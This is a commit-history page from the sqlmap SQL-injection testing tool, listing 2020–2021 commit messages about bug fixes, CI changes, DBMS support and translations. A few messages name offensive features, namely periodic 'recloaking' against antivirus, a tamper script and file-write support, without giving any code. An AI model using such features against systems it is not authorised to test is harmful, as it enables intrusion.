Compare commits

...
7286 Commits
Author SHA1 Message Date
Miroslav Stampar 954a8e6ee7 Struggling with Github Actions 2021-10-01 09:02:44 +02:00
Miroslav Stampar 6ce9e40a90 Trying smth out 2021-09-30 21:23:40 +02:00
Miroslav Stampar 7878c22cd2 Minor refactoring 2021-09-30 08:36:59 +02:00
Miroslav Stampar dec550b1c9 Minor patch for Windows OS 2021-09-30 08:36:07 +02:00
Miroslav Stampar 3ff4bb8938 Update README.md 2021-09-29 23:50:06 +02:00
Miroslav Stampar aeaa776ca9 PyPy patch for testing module 2021-09-29 23:01:32 +02:00
Miroslav Stampar 08eeb0fd88 Minor update 2021-09-29 22:24:30 +02:00
Miroslav Stampar c8d06d1099 Minor patch 2021-09-29 21:38:59 +02:00
Miroslav Stampar a48ce3c12a Minor patch for Windows OS 2021-09-29 21:15:15 +02:00
Miroslav Stampar d8b15c14b6 Some more testing module adaption 2021-09-29 20:59:10 +02:00
Miroslav Stampar fc0ba39045 Adapting testing module for Windows OS 2021-09-29 20:29:36 +02:00
Miroslav Stampar 5ea5fc896b Fixing a problem with pypy (explicit flush needed) 2021-09-29 20:05:07 +02:00
Miroslav Stampar 374f38fdce Minor patch of doctests for Windows machine 2021-09-29 19:45:04 +02:00
Miroslav Stampar 95b69d2c61 Minor patch for Python drei 2021-09-29 18:09:59 +02:00
Miroslav Stampar 3d01a9106e Fixing pypy bug with multiple targets and SQLite cursor 2021-09-29 17:46:32 +02:00
Miroslav Stampar 95e0b368f2 Fixing a MacOS problem with --vuln 2021-09-29 17:26:38 +02:00
Miroslav Stampar 564c5a2494 Removing --fuzz-test 2021-09-29 17:23:38 +02:00
Miroslav Stampar cfa5042358 Still fighting with Github Actions 2021-09-29 17:09:23 +02:00
Miroslav Stampar 353a6251dd Adding faketty for Github Actions 2021-09-29 17:00:24 +02:00
Miroslav Stampar 94706bd7fc More fine-tuning for Github Actions 2021-09-29 16:41:58 +02:00
Miroslav Stampar a9f998273c Fine-tuning for Github Actions 2021-09-29 16:33:52 +02:00
Miroslav Stampar 1d6d2c1892 Some refactoring (isMultiThreadMode fuzz) 2021-09-29 16:13:13 +02:00
Miroslav Stampar e6532f3faf Trying smth out 2021-09-29 15:54:59 +02:00
Miroslav Stampar 72572d2b97 Delete .travis.yml 2021-09-29 15:43:28 +02:00
Miroslav Stampar 7bb91805db Create tests.yml 2021-09-29 15:43:13 +02:00
Miroslav Stampar 7f8e38bacf Fixes #4817 2021-09-29 15:22:41 +02:00
Miroslav Stampar c90b243b50 Minor patch 2021-09-29 15:22:41 +02:00
tanaydin sirin c24e4a7086 Update README-tr-TR.md (#4832)
Small fix for documentation.
2021-09-28 14:25:27 +02:00
Miroslav Stampar 79e0fc7602 Fixes #4824 2021-09-26 01:10:02 +02:00
Miroslav Stampar db2e34f6e0 Minor update 2021-09-24 12:40:07 +02:00
Miroslav Stampar 24e3b6a84e Fixes #4801 2021-09-16 13:59:42 +02:00
Miroslav Stampar f322306cb2 Fixes #4803 2021-09-15 11:14:43 +02:00
Miroslav Stampar 8f84b740da Minor update 2021-09-09 20:47:32 +02:00
Miroslav Stampar 5fae5c3787 Minor improvement of sqlmapapi client 2021-09-09 20:27:45 +02:00
Miroslav Stampar 590480d6ac Update of bottle library 2021-09-09 20:07:41 +02:00
Miroslav Stampar d95406016c Update regarding #4795 2021-09-08 21:01:41 +02:00
Miroslav Stampar 6e968584f6 Minor refactoring 2021-09-02 21:44:41 +02:00
Miroslav Stampar cc5ba4753c Fixes #4784 2021-08-31 13:07:38 +02:00
Miroslav Stampar afa4d2c514 Fixes #4783 2021-08-31 13:04:45 +02:00
Miroslav Stampar d63401632c Fixes #4776 2021-08-26 18:08:48 +02:00
Miroslav Stampar 45553f0efc Fixes #4779 2021-08-26 17:46:56 +02:00
Miroslav Stampar f1dbe9e388 Minor bug fix 2021-08-18 23:16:19 +02:00
Miroslav Stampar 3977be9c9e Fixing falling back (aka query2) for --tables 2021-08-18 23:08:54 +02:00
Miroslav Stampar 9da558f041 Minor revert (accidental change) 2021-08-18 22:39:32 +02:00
Miroslav Stampar b3bc401f2e Fixing #4768 2021-08-17 15:16:05 +02:00
Miroslav Stampar 06cd97f097 Trivial update 2021-08-02 02:38:41 +02:00
Miroslav Stampar 293772348c Fixes #4751 2021-07-28 00:34:10 +02:00
Miroslav Stampar 2679c650aa Trivial update 2021-07-23 11:04:30 +02:00
Miroslav Stampar 179a6edf92 Implements swagger API specs (#4746) 2021-07-23 00:08:58 +02:00
Miroslav Stampar 8af87c7ea6 More text update 2021-07-19 13:58:54 +02:00
Miroslav Stampar 3a1dd163ec Minor text update (#4738) 2021-07-19 13:55:51 +02:00
Colinatorr f8a9288953 fix: typo (#4740) 2021-07-19 13:50:23 +02:00
Miroslav Stampar 8895b7d09d Fixes #4736 2021-07-15 10:01:17 +02:00
Miroslav Stampar fa05878712 Fixes #4733 2021-07-14 01:10:33 +02:00
Miroslav Stampar 795b9e6521 Fixes #4731 2021-07-12 00:35:50 +02:00
Miroslav Stampar 1f3a1410f2 Fixes #4727 2021-07-04 23:45:22 +02:00
Miroslav Stampar 69c679cf06 Fixes #4728 2021-07-04 23:07:55 +02:00
Miroslav Stampar 5ea08b397a Fixes #4710 2021-06-24 21:03:22 +02:00
Miroslav Stampar 7c41967865 Fixes #4719 2021-06-21 17:17:41 +02:00
Miroslav Stampar 255dce8c49 Fixes #4712 2021-06-15 21:04:51 +02:00
Miroslav Stampar 7c7c338705 Fixes #4705 2021-06-11 09:48:00 +02:00
Miroslav Stampar 63073a1873 15% speedup in some cases (avoiding heuristic char detection) 2021-06-08 21:48:43 +02:00
Miroslav Stampar 295cd15dff Version bump related to the merged pulls 2021-06-08 14:05:05 +02:00
Stefan Pejcic 3463341bad link to rs translation (#4692) 2021-06-08 14:04:03 +02:00
Stefan Pejcic 88553d3540 rs translation (#4691) 2021-06-08 14:03:52 +02:00
Pham Sy Minh ab90447600 Update README-vi-VN.md (#4701) 2021-06-08 14:02:38 +02:00
Miroslav Stampar a23faaeb8c Patch related to #4693 2021-05-31 00:34:14 +02:00
Miroslav Stampar 6942abf090 Minor update 2021-05-27 12:29:40 +02:00
Miroslav Stampar 3c25f79a9b Fixes #4671 2021-05-25 14:40:15 +02:00
Miroslav Stampar 94ab17829e Fixes #4688 2021-05-25 09:01:41 +02:00
Miroslav Stampar c4c1571902 Making sqlmap compatible with PyPy/PyPy3 2021-05-24 13:49:35 +02:00
Miroslav Stampar da86486cd9 Couple of minor patches 2021-05-24 13:12:18 +02:00
Miroslav Stampar dccc837703 Minor update 2021-05-19 18:32:03 +02:00
Miroslav Stampar 452915ed4a Minor update 2021-05-19 18:20:39 +02:00
Miroslav Stampar 35e575c287 Minor update 2021-05-17 10:43:58 +02:00
Miroslav Stampar 015a8f0a6d Fixes #4678 2021-05-17 10:40:27 +02:00
Miroslav Stampar 0896a49500 Minor update 2021-05-12 13:14:13 +02:00
Miroslav Stampar 95511c8ff9 Fixes #4659 2021-05-01 13:25:00 +02:00
Miroslav Stampar 8bf1650d65 Fixes #4664 2021-05-01 11:40:42 +02:00
Sutrisno Efendi ff645a767b Update README-id-ID.md (#4663) 2021-05-01 11:33:14 +02:00
Miroslav Stampar cfa7b3c3bd Implements #4656 2021-04-28 18:06:15 +02:00
Miroslav Stampar 76b310cc43 Fixes #4650 2021-04-25 20:36:19 +02:00
Miroslav Stampar 9a6acd2054 Fixes #4637 2021-04-13 17:55:54 +02:00
Miroslav Stampar 387020ece8 Better yet for #4633 2021-04-09 11:43:01 +02:00
Miroslav Stampar 732b9670d2 Minor fix related to last commit 2021-04-05 19:00:35 +02:00
Miroslav Stampar 1159c9ccae Fixes #4629 2021-04-05 18:38:47 +02:00
Miroslav Stampar cadbf170f0 Fixes #4630 2021-04-05 18:21:09 +02:00
Miroslav Stampar fc486c8b34 Minor update 2021-04-02 13:55:37 +02:00
Miroslav Stampar cfe43e3f2b Patch for #4626 2021-04-02 12:56:31 +02:00
Miroslav Stampar 6395481aa4 Fixes #4625 2021-04-02 12:47:03 +02:00
Miroslav Stampar 2380ab1e86 Dummy patch for #4623 2021-03-31 10:42:40 +02:00
Miroslav Stampar dd32bfb0cc Minor patch for #4613 2021-03-28 21:41:45 +02:00
Daniel Igarashi b7d90bbe03 Correct a typo (#4619) 2021-03-28 20:01:21 +02:00
Miroslav Stampar 86170e177c Dirty patch for #4618 2021-03-28 19:58:06 +02:00
Miroslav Stampar bce3abc829 Fixes #4612 2021-03-25 17:29:14 +01:00
Miroslav Stampar 8d6125f067 Minor patch 2021-03-22 12:00:32 +01:00
Miroslav Stampar 506e3f0871 Fixes #4611 2021-03-22 11:03:57 +01:00
Miroslav Stampar 6145944dc7 Fixes #4609 2021-03-18 11:40:39 +01:00
Miroslav Stampar 61186b979b Update THANKS.md 2021-03-16 10:11:23 +01:00
Miroslav Stampar 4d4b9a1175 Potential (hide the cause) patch for #4367 2021-03-15 23:02:31 +01:00
Miroslav Stampar 133e2c8c61 Trivial update 2021-03-11 21:31:28 +01:00
Miroslav Stampar 38c341076d Update regarding #4142 (--auth-type bearer) 2021-03-11 20:41:05 +01:00
Miroslav Stampar 40e4422bbd Trivial cosmetics (breaking help into two lines) 2021-03-11 20:14:36 +01:00
Bernardo Damele A. G 98ac1cf9c1 Update FUNDING.yml 2021-03-11 18:11:28 +00:00
Bernardo Damele A. G 56721240fa Update FUNDING.yml 2021-03-11 17:22:58 +00:00
Bernardo Damele A. G c81414cf25 Update FUNDING.yml 2021-03-11 15:41:21 +00:00
Bernardo Damele A. G 2e195a35dc Create FUNDING.yml 2021-03-11 15:38:12 +00:00
Miroslav Stampar 89d25a16ce Trivial patches 2021-03-11 11:11:29 +01:00
Miroslav Stampar 9bc466edac Removing deprecated piece of code 2021-03-11 11:02:23 +01:00
Miroslav Stampar 32b7f3040e Trivial consistency update 2021-03-11 11:00:38 +01:00
Miroslav Stampar f066e215e5 Minor patch 2021-03-11 10:55:09 +01:00
Miroslav Stampar 4e65ff4689 Proper patch for #4591 2021-03-08 15:40:05 +01:00
Miroslav Stampar 1e8bf1c78a Trivial update for #4595 2021-03-07 21:22:17 +01:00
Miroslav Stampar 657c6519ea Graceful fail for --gui (#4601) 2021-03-07 21:15:59 +01:00
Miroslav Stampar 970c7f6a76 Fixes #4599 2021-03-07 20:35:51 +01:00
Miroslav Stampar 105e314ec8 Fixes #4596 2021-03-07 20:31:11 +01:00
Miroslav Stampar dd963a042d Fixes #4591 2021-03-04 08:26:23 +01:00
Miroslav Stampar 0df2592622 Trivial speedup 2021-03-03 23:28:27 +01:00
Miroslav Stampar eeacab0f19 Speedup of caching for char encoding (non-Unicode chars in page) 2021-03-03 23:08:00 +01:00
Miroslav Stampar b3e454d0b1 Trivial update 2021-02-25 12:19:08 +01:00
Miroslav Stampar 99d0031d65 Minor update 2021-02-25 11:39:08 +01:00
Miroslav Stampar 5916bc2d39 Minor update 2021-02-25 11:22:10 +01:00
Miroslav Stampar 2159944de4 Minor update 2021-02-23 12:00:59 +01:00
Miroslav Stampar f87aa83e9b Dirty implementation for #4571 2021-02-21 22:49:57 +01:00
Miroslav Stampar b902cca791 Minor update 2021-02-19 11:38:02 +01:00
Miroslav Stampar 86467e196b Periodical recloak 2021-02-19 11:08:14 +01:00
Miroslav Stampar 30f137699d Trivial bug patch 2021-02-19 11:07:13 +01:00
Miroslav Stampar 7741154383 Fixes #4580 2021-02-16 14:27:02 +01:00
Miroslav Stampar a6262a3aa9 Adding support for Virtuoso DBMS 2021-02-15 14:07:36 +01:00
Miroslav Stampar 1f33b16e01 Fixes #4579 2021-02-14 14:47:28 +01:00
Miroslav Stampar 04396c97e2 Minor refactoring 2021-02-11 13:00:54 +01:00
Miroslav Stampar b1cdbdae61 Minor update of tests 2021-02-11 12:30:21 +01:00
Miroslav Stampar 747951b80b Another patch for #4576 2021-02-10 14:09:13 +01:00
Miroslav Stampar 1bef2f8fda Fixes #4576 2021-02-10 14:02:42 +01:00
Miroslav Stampar b0ac442096 Minor patch of links 2021-02-08 22:42:08 +01:00
Miroslav Stampar 99a5fb243c Trivial update 2021-02-08 21:50:20 +01:00
Miroslav Stampar b2a575482e Proxies dislike non-browser user-agents 2021-02-08 21:47:36 +01:00
Miroslav Stampar 365e08b710 Allowing empty database names in -d 2021-02-08 20:47:37 +01:00
Miroslav Stampar af3b79ff8b Trivial update of doctests 2021-02-08 12:28:24 +01:00
hugoduar 3724a53466 Add spanish common names (#4573) 2021-02-08 11:30:39 +01:00
Miroslav Stampar 01e83cb4a0 Minor patch for ws 2021-02-08 11:18:27 +01:00
Miroslav Stampar cd77cdd1e8 It seems that JSON_GROUP_ARRAY is not available in all Travis CI deployments 2021-02-05 15:15:58 +01:00
Miroslav Stampar 22c421a427 Debugging the testing case 2021-02-05 14:46:23 +01:00
Miroslav Stampar 59fe89f076 Minor update of testing cases 2021-02-05 12:44:39 +01:00
Miroslav Stampar 160011bd87 Couple of bug fixes 2021-02-03 11:52:50 +01:00
Miroslav Stampar 36ee4d68c7 Trivial update 2021-02-01 22:19:20 +01:00
Miroslav Stampar dfc5bc5d87 Minor update of testing cases 2021-02-01 21:58:36 +01:00
Miroslav Stampar d247fda9d3 Fixing HTTP chunking for Python2.6 2021-02-01 21:34:26 +01:00
Miroslav Stampar 78b1c4f072 Trying to fix the mess with content_length between versions 2021-01-31 16:08:02 +01:00
Miroslav Stampar 63e44f9ee9 Trying to debug the Travis CI issue 2021-01-31 14:44:02 +01:00
Miroslav Stampar 08349138ec Bug fix (--chunked failing on TravisCI) 2021-01-31 14:00:44 +01:00
Miroslav Stampar 807d38688f Trivial update 2021-01-29 14:49:08 +01:00
Miroslav Stampar 0975fb1226 Minor update 2021-01-29 14:46:15 +01:00
Miroslav Stampar 71c141ef86 Minor patch 2021-01-29 14:38:13 +01:00
Miroslav Stampar accfbf958e Fixes #4560 2021-01-27 14:01:20 +01:00
Miroslav Stampar c0be1da8b1 Capture deprecations even in nightly Python builds 2021-01-21 10:14:24 +01:00
Miroslav Stampar 4a12493d85 Python3 fix (parsing of headers) 2021-01-20 16:29:52 +01:00
Miroslav Stampar b2c8ba10cd Minor just in case update 2021-01-20 16:06:19 +01:00
Miroslav Stampar 9568ee3c4d Fixes #4548 2021-01-19 12:32:32 +01:00
Miroslav Stampar f3e8039145 Fixes #4549 2021-01-19 12:25:03 +01:00
Miroslav Stampar e5086ef61a Fixes #4545 2021-01-18 12:29:35 +01:00
Miroslav Stampar ed0909fe57 Fixes #4547 2021-01-18 12:04:47 +01:00
Miroslav Stampar 6244850749 More DREI stuff 2021-01-15 10:51:49 +01:00
Miroslav Stampar d78590213b Brrrrr incompatibilities with every new Python minor revision 2021-01-15 09:31:57 +01:00
Miroslav Stampar 4490d55482 Removing leftover 2021-01-15 09:18:21 +01:00
Miroslav Stampar fd137b49ef Fixing Python3.10 incompatibility 2021-01-15 09:17:33 +01:00
Miroslav Stampar 6fa5922fbd Bug fix (error heuristics not working in heavy dynamicity cases) 2021-01-14 22:49:08 +01:00
Miroslav Stampar 42884d3f09 Problems with badge.fury.io 2021-01-13 17:32:57 +01:00
Miroslav Stampar 1a0c533626 Fixes #4541 2021-01-13 13:17:46 +01:00
Miroslav Stampar 5d3bd6ea7a Adding support for YugabyteDB 2021-01-13 11:47:10 +01:00
Miroslav Stampar 29a7646334 Trivial update 2021-01-12 16:55:24 +01:00
shelld3vandMiroslav Stampar fa93f5e099 New translation: Vietnamese (#4509)
* Create README-vi-VN.md

* Update README.md

* Consistency update (same style as in other translations)

Co-authored-by: Miroslav Stampar <[email protected]>
2021-01-12 16:34:17 +01:00
Miroslav Stampar 12238019dd Patch for Python2.6 2021-01-12 16:28:50 +01:00
Miroslav Stampar 0b1b64b682 Thank you Travis CI in discovering of a cluster of f*cks 2021-01-12 16:21:43 +01:00
Miroslav Stampar c8dc375fb5 Update for #4537 2021-01-12 15:58:40 +01:00
Miroslav Stampar a697e6c307 All of a sudden PY2 _configparser doesn't support \tkey = value 2021-01-12 15:57:12 +01:00
Miroslav Stampar 66a3118f81 Adding support for JSON aggregation on SQLite 2021-01-12 15:36:02 +01:00
Miroslav Stampar 3002f92e34 Trivial update 2021-01-12 13:23:08 +01:00
Miroslav Stampar 2ef07c80db Some more refactoring 2021-01-12 13:21:51 +01:00
Miroslav Stampar e3028f195e Support for Raima Database Manager DBMS 2021-01-11 17:36:23 +01:00
Miroslav Stampar 1f39dbd06d Another patch regarding #4530 2021-01-07 14:20:03 +01:00
Miroslav Stampar ccf9e7de54 Another patch regarding #4530 2021-01-07 14:00:10 +01:00
Miroslav Stampar ebd2a940cb Patching profile capabilities 2021-01-07 13:52:38 +01:00
Miroslav Stampar 0d3889730d Another patch for #4530 2021-01-07 11:56:49 +01:00
Miroslav Stampar ccbc3e62f8 First patch for #4530 2021-01-07 11:44:00 +01:00
Miroslav Stampar f84ec1072b Patch related to #4527 (drei) 2021-01-06 16:09:40 +01:00
Miroslav Stampar 779b352f6b Minor cosmetics 2021-01-06 15:47:50 +01:00
Miroslav Stampar 9af2e68b7e Update for #4525 2021-01-06 15:39:51 +01:00
Miroslav Stampar bd59dd4a0f Trivial update 2021-01-06 15:21:33 +01:00
Miroslav Stampar c4e6c3e854 Fixes #4513 2021-01-05 14:50:54 +01:00
Miroslav Stampar 91045aab60 Fixes #4510 2021-01-05 13:36:04 +01:00
Miroslav Stampar b36d8248a4 More fine-tuning for #4505 (in case of --no-escape) 2021-01-04 13:51:51 +01:00
Miroslav Stampar 091678b9d4 Some fine tuning (#4505 - in case of --no-escape) 2021-01-04 13:45:38 +01:00
Miroslav Stampar 0c3d8c9bd1 Fixes #4505 2021-01-04 13:25:29 +01:00
Miroslav Stampar f5b6b0eb4b Fixes #4504 2021-01-03 16:56:35 +01:00
Miroslav Stampar e8048a3cf0 First 2021 dev commit 2021-01-03 15:28:40 +01:00
Miroslav Stampar 0207ecf0ee Version bump (1.5) 2021-01-03 15:23:40 +01:00
Miroslav Stampar ae6a812ee1 Trivial updates 2020-12-31 12:38:57 +01:00
Miroslav Stampar f23c04131c Patch of a patch 2020-12-31 12:17:08 +01:00
Miroslav Stampar ab0df2a85c Fixes #4503 2020-12-31 12:09:15 +01:00
Miroslav Stampar 2cf2dd9a2c Fixes #4502 2020-12-31 12:00:13 +01:00
Miroslav Stampar 82e28e038e Another year bump 2020-12-31 11:49:19 +01:00
Miroslav Stampar 31fe3453a2 Copyright year bump 2020-12-31 11:46:27 +01:00
Miroslav Stampar 32deef59c3 Fixes #4499 2020-12-28 19:09:31 +01:00
Miroslav Stampar 8142dd8f3b Minor update 2020-12-28 15:39:01 +01:00
Miroslav Stampar 1b2ac3069d Implementing --proxy-freq (Issue #4496) 2020-12-26 23:04:48 +01:00
Miroslav Stampar bb02eefb70 Fixes #4495 2020-12-26 00:49:42 +01:00
Miroslav Stampar 8c8aae9170 Fixes #4492 2020-12-25 23:24:59 +01:00
Miroslav Stampar 99e6d56f09 Fixes #4494 2020-12-25 22:55:19 +01:00
Miroslav Stampar 41e247be56 Another trivial update 2020-12-22 21:40:15 +01:00
Miroslav Stampar 81602c4093 Another minor update 2020-12-22 21:35:02 +01:00
Miroslav Stampar 31c597f9e6 Minor update 2020-12-22 21:30:12 +01:00
Miroslav Stampar b039c35f2b Fixes #4479 2020-12-18 12:38:15 +01:00
Miroslav Stampar bae7766e64 Support patch for #4486 2020-12-18 12:13:07 +01:00
Miroslav Stampar 9c95445723 Trivial update (drei nagging) 2020-12-18 12:01:49 +01:00
Miroslav Stampar eeffcfe1b6 Periodic recloaking (AV) 2020-12-18 11:57:13 +01:00
Miroslav Stampar 809538d1bb Trivial update 2020-12-18 11:38:54 +01:00
Miroslav Stampar 5f743ab19b Fixes #4480 2020-12-17 13:50:33 +01:00
Miroslav Stampar 85c6d0d5c1 Fixes #4483 2020-12-17 13:34:23 +01:00
Miroslav Stampar d9e6e678e8 Fixes #4470 2020-12-10 23:05:19 +01:00
Miroslav Stampar 7e675fed9f Fixes #4471 2020-12-10 22:47:29 +01:00
Miroslav Stampar 5bf52c3f9c Trivial patches 2020-12-10 14:22:44 +01:00
Miroslav Stampar 94709c93bb Minor update 2020-12-10 13:56:25 +01:00
Miroslav Stampar a852d25314 Trying smth 2020-12-10 11:27:37 +01:00
Miroslav Stampar c0aa8565a1 Update of banner regexes 2020-12-08 14:41:19 +01:00
Miroslav Stampar bce1cfe00f Minor update 2020-12-08 13:40:46 +01:00
Miroslav Stampar 0cd6285707 Long live the Python2 2020-12-07 21:30:18 +01:00
Miroslav Stampar 8a783702d9 Fixes #4464 2020-12-07 12:28:49 +01:00
Miroslav Stampar 760563dbd1 Patch for #4451 2020-12-07 12:00:10 +01:00
Miroslav Stampar 92054b5d63 Fixes #4465,#4466,#4468,#4469 2020-12-07 11:42:46 +01:00
Miroslav Stampar 2f3801b808 Minor leftover 2020-12-07 11:23:11 +01:00
Miroslav Stampar d5c9bdf279 Patch for #4467 2020-12-07 11:22:34 +01:00
Miroslav Stampar 12158af6ca Fixes #4457 2020-12-04 12:28:13 +01:00
tomjshore 8e662a5179 Changed get logs to hanndle ints correctly (#4460) 2020-12-04 11:47:09 +01:00
Miroslav Stampar 8d9c84236d Fixes #4458 2020-12-04 11:45:40 +01:00
Miroslav Stampar 815d417a9e Fixes #4462 2020-12-04 11:40:09 +01:00
Miroslav Stampar 3936a11280 Fixes #4450 2020-12-02 22:30:01 +01:00
Miroslav Stampar 13e363155a Fixes #4453 2020-12-02 21:43:11 +01:00
Miroslav Stampar be0f7a9e07 Update of --beep (including XSS/FI) 2020-12-01 23:10:53 +01:00
Miroslav Stampar 33a8db9596 Minor patch 2020-12-01 22:56:24 +01:00
Miroslav Stampar 9f6eacb4e8 Fixes #4444 2020-12-01 16:36:34 +01:00
Miroslav Stampar e6d9dc46ab Patch for #4449 2020-12-01 15:56:47 +01:00
Miroslav Stampar c3e81a6223 Switching EXTRACTVALUE and FLOOR in priority (FLOOR is not working on recent MySQL) 2020-12-01 15:34:49 +01:00
Miroslav Stampar 78ba33737e Patch for known NCHAR/UNION-query SQLi problems 2020-12-01 12:16:15 +01:00
Miroslav Stampar c6557e2b45 Minor patches 2020-11-30 23:33:08 +01:00
Miroslav Stampar fa17cfb606 Fixes #4447 2020-11-30 22:25:56 +01:00
Miroslav Stampar 40623e780a Minor patch (--update to work with #pip) 2020-11-27 12:57:16 +01:00
Miroslav Stampar 35862bf4c8 Minor patch 2020-11-27 12:37:56 +01:00
Miroslav Stampar 5d6def425a Trivial cleanup 2020-11-27 12:32:05 +01:00
Miroslav Stampar 7066e7ce97 Trivial update 2020-11-26 23:41:35 +01:00
Miroslav Stampar 8dad7dd12d Trivial update 2020-11-24 14:07:30 +01:00
Miroslav Stampar 6b7c3a2f81 Minor cosmetics 2020-11-20 13:03:15 +01:00
Miroslav Stampar e9b3af6b9a Minor compatibility patch for 'Copy as cURL' browser feature 2020-11-20 12:52:02 +01:00
Miroslav Stampar 194c911433 Another update for #4367 2020-11-16 11:59:17 +01:00
Miroslav Stampar e621d7ec6a Fixes #4423 2020-11-16 10:28:53 +01:00
Miroslav Stampar 854507bc85 Potential fix for #4307 2020-11-13 23:00:26 +01:00
Miroslav Stampar 82eec780a2 Update README.md 2020-11-10 22:36:02 +01:00
Miroslav Stampar de55be3afe Update README.md 2020-11-10 22:10:03 +01:00
Miroslav Stampar 4d2b890a0a Silent bug fix 2020-11-09 23:02:48 +01:00
Miroslav Stampar c243c5fe0d Implementing --skip-heuristics (#4414) 2020-11-09 22:11:11 +01:00
Miroslav Stampar a35fc713a2 Minor patch (AS keyword does not play well in nullCastConcatFields) 2020-11-05 11:20:51 +01:00
Miroslav Stampar 97b7dc585c Patch for #4419 2020-11-05 10:59:36 +01:00
Miroslav Stampar c5a5717add Minor adjustment 2020-11-05 10:12:54 +01:00
Miroslav Stampar fe4e79511a Fixes #4413 2020-11-02 11:15:45 +01:00
Miroslav Stampar 1d5bde9cdf Implementing --live-cookies (Issue #4401) 2020-10-29 13:51:11 +01:00
Miroslav Stampar 227a23f091 Fixes #4408 2020-10-29 12:33:12 +01:00
Miroslav Stampar 0ff3b1ce70 Implemented FOR JSON AUTO in MsSQL 2020-10-28 16:48:11 +01:00
Miroslav Stampar 7e483ffd7a Adding minor note 2020-10-28 14:38:13 +01:00
Miroslav Stampar a5852390f7 Implements ARRAY_AGG for PostgreSQL 2020-10-28 14:36:25 +01:00
Miroslav Stampar 73d0c67a80 Implements #4407 2020-10-28 12:57:25 +01:00
Miroslav Stampar 8e9f7e90c3 Fixes #4404 2020-10-27 15:12:42 +01:00
Miroslav Stampar f6bf331b8f Minor cosmetics 2020-10-27 14:57:12 +01:00
Miroslav Stampar 585645e806 Implements #4403 2020-10-27 14:06:56 +01:00
Miroslav Stampar 673a5afe07 Fixes #4400 2020-10-26 11:21:29 +01:00
Miroslav Stampar c9a8b915c8 Fixes #4398 2020-10-25 17:34:06 +01:00
Miroslav Stampar 9645aaa33f Fixes #4399 2020-10-25 17:11:22 +01:00
Miroslav Stampar e556876fe6 Fixes #4394 2020-10-21 14:58:30 +02:00
Miroslav Stampar 0524670cf9 More generic update for #4199 2020-10-21 14:44:07 +02:00
Miroslav Stampar 96a2c91701 Patch regarding #4199 2020-10-21 14:40:11 +02:00
Miroslav Stampar 5029d67e4f Minor update regarding the #4388 2020-10-20 12:54:22 +02:00
Miroslav Stampar 5af64f5ae4 Minor update 2020-10-20 12:37:07 +02:00
Miroslav Stampar bc981c517b New vuln-test case 2020-10-15 17:20:32 +02:00
Miroslav Stampar 87ad11dffb Fixes #4383 and #4384 2020-10-15 12:11:21 +02:00
Miroslav Stampar 3663fa936b Fixes #4382 2020-10-14 23:04:01 +02:00
Miroslav Stampar 4687383a44 Patch for multiple-Ctrl-C in multiple-target mode 2020-10-14 12:22:56 +02:00
Miroslav Stampar 62cfd47b83 Minor patch 2020-10-14 11:49:58 +02:00
Miroslav Stampar 2bf22df53a Implementing support for piped input of targets 2020-10-14 11:34:52 +02:00
Miroslav Stampar 0585a55ee0 Trivial refactoring for #4379 2020-10-13 11:05:13 +02:00
tree-chtsecandtree babe52eb10 HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>
2020-10-13 10:56:39 +02:00
Miroslav Stampar 231c3da057 Update for #4380 2020-10-13 10:32:09 +02:00
Miroslav Stampar 13a2ab3fa3 Minor update (drei) 2020-10-05 21:36:30 +02:00
Miroslav Stampar 21cc6e3c99 Potential patch for #4367 2020-10-05 12:45:15 +02:00
Miroslav Stampar a2a73b88ea Fixes #4366 2020-10-05 12:12:06 +02:00
Miroslav Stampar 210a4c3a0a Fixes #4363 2020-10-05 11:35:49 +02:00
Miroslav Stampar 15225668d0 Somebody was fooling around (Issue #4357) 2020-09-28 13:12:59 +02:00
Miroslav Stampar c1bf36b876 Better alternative 2020-09-24 14:57:45 +02:00
Miroslav Stampar 229f89004b Fixes #4355 2020-09-24 14:55:13 +02:00
Miroslav Stampar 443b1f2ed5 ORDER BY required 2020-09-24 14:54:59 +02:00
Miroslav Stampar 60f4520020 Minor update for #4353 2020-09-23 15:29:28 +02:00
Miroslav Stampar 7460b87f1d Update for #4353 2020-09-23 15:22:07 +02:00
Miroslav Stampar 5d08b9004e Minor update 2020-09-21 17:11:11 +02:00
Miroslav Stampar c2b9e539ae Update for #4351 2020-09-21 17:04:54 +02:00
HerendraTJ 3d8eb62a59 Issue Tracker --> Pelacak Masalah. (#4347) 2020-09-18 11:58:29 +02:00
Miroslav Stampar d51e45fd34 Minor update for #4344 2020-09-17 15:26:06 +02:00
Miroslav Stampar 3258e29cf9 Update for #4344 2020-09-17 15:22:50 +02:00
antichownandMiroslav Stampar e0ea1ab5e9 new tamper script (#4344)
* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <[email protected]>
2020-09-17 15:06:47 +02:00
Miroslav Stampar 192ca02c41 Minor update (more intuitive) 2020-09-16 14:28:32 +02:00
Miroslav Stampar f0bbbb0918 Fixes #4341 2020-09-11 16:28:10 +02:00
Miroslav Stampar f6857d4ee4 Bug fix (304 not modified as original response) 2020-09-11 14:32:25 +02:00
Miroslav Stampar a1342e04a5 Minor update 2020-09-10 16:34:01 +02:00
Miroslav Stampar 7963281c41 Minor update 2020-09-10 16:20:12 +02:00
Miroslav Stampar 715063f0d4 Patching session PY2<->PY3 incompatibility issue 2020-09-09 16:15:23 +02:00
Miroslav Stampar 1658331810 Trivial update 2020-09-09 14:07:13 +02:00
Miroslav Stampar bfe93e20c5 Patch for #4337 2020-09-09 13:58:26 +02:00
Miroslav Stampar bcea050f22 Fixes #4331 2020-09-06 23:32:47 +02:00
Miroslav Stampar c4a692abe3 Patch for #4332 2020-09-06 23:21:12 +02:00
Miroslav Stampar b42b62ae38 Major improvement in Base64 handling (late-binding) 2020-09-04 13:16:50 +02:00
Miroslav Stampar a7f20c1d67 Minor update (base64 stuff) 2020-09-04 12:45:33 +02:00
Miroslav Stampar f781367ac1 Fixes #4328 2020-09-04 10:49:17 +02:00
mkauschiandmanuel 1bec3a953c fix #4325 (#4327)
Co-authored-by: manuel <[email protected]>
2020-09-02 17:07:28 +02:00
Miroslav Stampar 66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar 226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar 95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar e05f65628d Minor update 2020-08-31 11:18:29 +02:00
